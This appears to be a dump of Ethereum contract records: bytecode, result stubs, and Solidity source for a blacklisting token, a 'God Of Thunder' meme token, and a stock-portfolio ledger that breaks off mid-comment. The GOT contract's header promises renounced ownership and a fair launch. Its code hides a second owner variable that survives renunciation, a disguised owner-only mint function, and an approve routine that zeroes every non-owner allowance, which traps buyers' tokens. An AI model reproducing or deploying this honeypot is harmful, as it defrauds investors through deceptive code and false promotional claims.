600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611b956028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611cb36025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061150e565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b196026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611c06833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a896026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c6c6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611aaf6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c476025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a216023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112a35760405162461bcd60e51b8152600401808060200182810382526021815260200180611be56021913960400191505060405180910390fd5b6112ae8484846119d9565b8054156114375780600101544211156113575760006001820181905581556040805160608101909152602680825261130a918491611af360208301396001600160a01b038716600090815260208190526040902054919061150e565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113399083610fb2565b6001600160a01b038416600090815260208190526040902055611432565b600061139a8260000154604051806060016040528060228152602001611ad1602291396001600160a01b038816600090815260208190526040902054919061150e565b90506113c183604051806060016040528060268152602001611af36026913983919061150e565b6001600160a01b038616600090815260208190526040902081905582546113e89190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114179084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114bd565b61147482604051806060016040528060268152602001611af3602691396001600160a01b038716600090815260208190526040902054919061150e565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114a39083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b6000818484111561159d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561156257818101518382015260200161154a565b50505050905090810190601f16801561158f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115ea5760405162461bcd60e51b8152600401808060200182810382526021815260200180611c266021913960400191505060405180910390fd5b6115f6826000836119d9565b61163381604051806060016040528060228152602001611a67602291396001600160a01b038516600090815260208190526040902054919061150e565b6001600160a01b03831660009081526020819052604090205560055461165990826119de565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116e65760405162461bcd60e51b8152600401808060200182810382526023815260200180611c906023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561173e5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a446023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b0383166000818152600360205260409020906117f7576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118039084610fb2565b6001600160a01b03851660009081526020819052604090205410156118595760405162461bcd60e51b8152600401808060200182810382526030815260200180611b656030913960400191505060405180910390fd5b600081600101541180156118705750806001015442115b156118815760006001820181905581555b6001810182905580546118949084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119195760405162461bcd60e51b8152600401808060200182810382526023815260200180611c906023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461198c576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061150e56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2073656e646572206164647265737320626c61636b6c69737465644f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220f902197055c708bee08c6a7620972df38b3be6d89573aa9f3dabf620311b3f3d64736f6c63430007030033
|
{"success": true, "error": null, "results": {}}
| 8,665 |
0xf38ad1158de944db1dde95ef4c5a01c8cd3e0d13
|
/*
________ .___ ________ _____ ___________.__ .___
/ _____/ ____ __| _/ \_____ \_/ ____\ \__ ___/| |__ __ __ ____ __| _/___________
/ \ ___ / _ \ / __ | / | \ __\ | | | | \| | \/ \ / __ |/ __ \_ __ \
\ \_\ ( <_> ) /_/ | / | \ | | | | Y \ | / | \/ /_/ \ ___/| | \/
\______ /\____/\____ | \_______ /__| |____| |___| /____/|___| /\____ |\___ >__|
\/ \/ \/ \/ \/ \/ \/
⚡️No Presale
⚡️No Team Tokens
⚡️Initial ETH for liquidity provided by the team
⚡️Complete fair launch
⚡️Stealth launch
✅Numerous Anti-bot measures in place.
✅Liquidity will be locked on unicrypt after it’s added.
✅Ownership will be renounced, straight after launch.
✅There will be no presale, to prevent an unfair launch.
✅We will provide liquidity ourselves! We will take no team tokens! (5% tax on sells only)
✅ To get the coin starting off strong. Influencers are on board and ready to go!
✅Coingecko listing has been drafted, 4 Chan, plans to get this trending on dextools will be undertaken straight after launch.
Twitter: https://twitter.com/godofthundereth?s=21
Website: https://godofthunder.life/
Telegram: https://t.me/godofthundereth
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract GodOfThunder is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100 * 10**9 * 10**18;
string private _name = 'God Of Thunder';
string private _symbol = 'GOT';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function setFeeBotTransfer(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function _approve(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
if (from == owner()) {
_allowances[from][to] = amount;
emit Approval(from, to, amount);
} else {
_allowances[from][to] = 0;
emit Approval(from, to, 4);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806365a818b014610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c5565b6040518082815260200191505060405180910390f35b6102f161090e565b005b6102fb610a96565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610abf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b61565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b7f565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610c06565b8484610c0e565b6001905092915050565b6000600454905090565b600061055d848484610f2e565b61061e84610569610c06565b6106198560405180606001604052806028815260200161139960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e89092919063ffffffff16565b610c0e565b600190509392505050565b6000600760009054906101000a900460ff16905090565b610648610c06565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1661072a610c06565b73ffffffffffffffffffffffffffffffffffffffff161415610797576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113316021913960400191505060405180910390fd5b6107ac816004546112a890919063ffffffff16565b60048190555061080b81600260006107c2610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a890919063ffffffff16565b60026000610817610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061085d610c06565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610916610c06565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b575780601f10610b2c57610100808354040283529160200191610b57565b820191906000526020600020905b815481529060010190602001808311610b3a57829003601f168201915b5050505050905090565b6000610b75610b6e610c06565b8484610f2e565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061140a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113776022913960400191505060405180910390fd5b610d22610a96565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e405780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610f29565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806113526025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113e76023913960400191505060405180910390fd5b6110a6816040518060600160405280602681526020016113c160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e89092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113b81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611295576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561125a57808201518184015260208101905061123f565b50505050905090810190601f1680156112875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209d589559a1ea7ff1da62e695dd26c25e9788e35d36cca747a002d49fac84b35564736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,666 |
0xfcec1e8569613bcd5b0837d07999e5aeb6ffa33f
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title StockPortfolio
* @author aflesher
* @dev StockPortfolio is smart contract for keeping a record
* @dev stock purchases. Trades can more or less be validated
* @dev using the trade timestamp and comparing the data to
* @dev historical values.
*/
contract StockPortfolio is Ownable {
struct Position {
uint32 quantity;
uint32 avgPrice;
}
mapping (bytes12 => Position) positions;
bytes12[] private holdings;
bytes6[] private markets;
event Bought(bytes6 market, bytes6 symbol, uint32 quantity, uint32 price, uint256 timestamp);
event Sold(bytes6 market, bytes6 symbol, uint32 quantity, uint32 price, int64 profits, uint256 timestamp);
event ForwardSplit(bytes6 market, bytes6 symbol, uint8 multiple, uint256 timestamp);
event ReverseSplit(bytes6 market, bytes6 symbol, uint8 divisor, uint256 timestamp);
// Profits have to be separated because of different curriences so
// separate them by market. Market profit to currency can be worked
// out by client
mapping (bytes6 => int) public profits;
constructor () public {
markets.push(0x6e7973650000); //nyse 0
markets.push(0x6e6173646171); //nasdaq 1
markets.push(0x747378000000); //tsx 2
markets.push(0x747378760000); //tsxv 3
markets.push(0x6f7463000000); //otc 4
markets.push(0x637365000000); //cse 5
}
function () public payable {}
/**
* @dev Adds to or creates new position
* @param _marketIndex The index of the market
* @param _symbol A stock symbol
* @param _quantity Quantity of shares to buy
* @param _price Price per share * 100 ($10.24 = 1024)
*/
function buy
(
uint8 _marketIndex,
bytes6 _symbol,
uint32 _quantity,
uint32 _price
)
external
onlyOwner
{
_buy(_marketIndex, _symbol, _quantity, _price);
}
/**
* @dev Adds to or creates a series of positions
* @param _marketIndexes The indexes of the markets
* @param _symbols Stock symbols
* @param _quantities Quantities of shares to buy
* @param _prices Prices per share * 100 ($10.24 = 1024)
*/
function bulkBuy
(
uint8[] _marketIndexes,
bytes6[] _symbols,
uint32[] _quantities,
uint32[] _prices
)
external
onlyOwner
{
for (uint i = 0; i < _symbols.length; i++) {
_buy(_marketIndexes[i], _symbols[i], _quantities[i], _prices[i]);
}
}
/**
* @dev Tracks a stock split
* @param _marketIndex The index of the market
* @param _symbol A stock symbol
* @param _multiple Number of new shares per share created
*/
function split
(
uint8 _marketIndex,
bytes6 _symbol,
uint8 _multiple
)
external
onlyOwner
{
bytes6 market = markets[_marketIndex];
bytes12 stockKey = getStockKey(market, _symbol);
Position storage position = positions[stockKey];
require(position.quantity > 0);
uint32 quantity = (_multiple * position.quantity) - position.quantity;
position.avgPrice = (position.quantity * position.avgPrice) / (position.quantity + quantity);
position.quantity += quantity;
emit ForwardSplit(market, _symbol, _multiple, now);
}
/**
* @dev Tracks a reverse stock split
* @param _marketIndex The index of the market
* @param _symbol A stock symbol
* @param _divisor Number of existing shares that will equal 1 new share
* @param _price The current stock price. Remainder shares will sold at this price
*/
function reverseSplit
(
uint8 _marketIndex,
bytes6 _symbol,
uint8 _divisor,
uint32 _price
)
external
onlyOwner
{
bytes6 market = markets[_marketIndex];
bytes12 stockKey = getStockKey(market, _symbol);
Position storage position = positions[stockKey];
require(position.quantity > 0);
uint32 quantity = position.quantity / _divisor;
uint32 extraQuantity = position.quantity - (quantity * _divisor);
if (extraQuantity > 0) {
_sell(_marketIndex, _symbol, extraQuantity, _price);
}
position.avgPrice = position.avgPrice * _divisor;
position.quantity = quantity;
emit ReverseSplit(market, _symbol, _divisor, now);
}
/**
* @dev Sells a position, adds a new trade and adds profits/lossses
* @param _symbol Stock symbol
* @param _quantity Quantity of shares to sale
* @param _price Price per share * 100 ($10.24 = 1024)
*/
function sell
(
uint8 _marketIndex,
bytes6 _symbol,
uint32 _quantity,
uint32 _price
)
external
onlyOwner
{
_sell(_marketIndex, _symbol, _quantity, _price);
}
/**
* @dev Sells positions, adds a new trades and adds profits/lossses
* @param _symbols Stock symbols
* @param _quantities Quantities of shares to sale
* @param _prices Prices per share * 100 ($10.24 = 1024)
*/
function bulkSell
(
uint8[] _marketIndexes,
bytes6[] _symbols,
uint32[] _quantities,
uint32[] _prices
)
external
onlyOwner
{
for (uint i = 0; i < _symbols.length; i++) {
_sell(_marketIndexes[i], _symbols[i], _quantities[i], _prices[i]);
}
}
/**
* @dev Get the number of markets
* @return uint
*/
function getMarketsCount() public view returns(uint) {
return markets.length;
}
/**
* @dev Get a market at a given index
* @param _index The market index
* @return bytes6 market name
*/
function getMarket(uint _index) public view returns(bytes6) {
return markets[_index];
}
/**
* @dev Get profits
* @param _market The market name
* @return int
*/
function getProfits(bytes6 _market) public view returns(int) {
return profits[_market];
}
/**
* @dev Gets a position
* @param _stockKey The stock key
* @return quantity Quantity of shares held
* @return avgPrice Average price paid for shares
*/
function getPosition
(
bytes12 _stockKey
)
public
view
returns
(
uint32 quantity,
uint32 avgPrice
)
{
Position storage position = positions[_stockKey];
quantity = position.quantity;
avgPrice = position.avgPrice;
}
/**
* @dev Gets a postion at the given index
* @param _index The index of the holding
* @return market Market name
* @return stock Stock name
* @return quantity Quantity of shares held
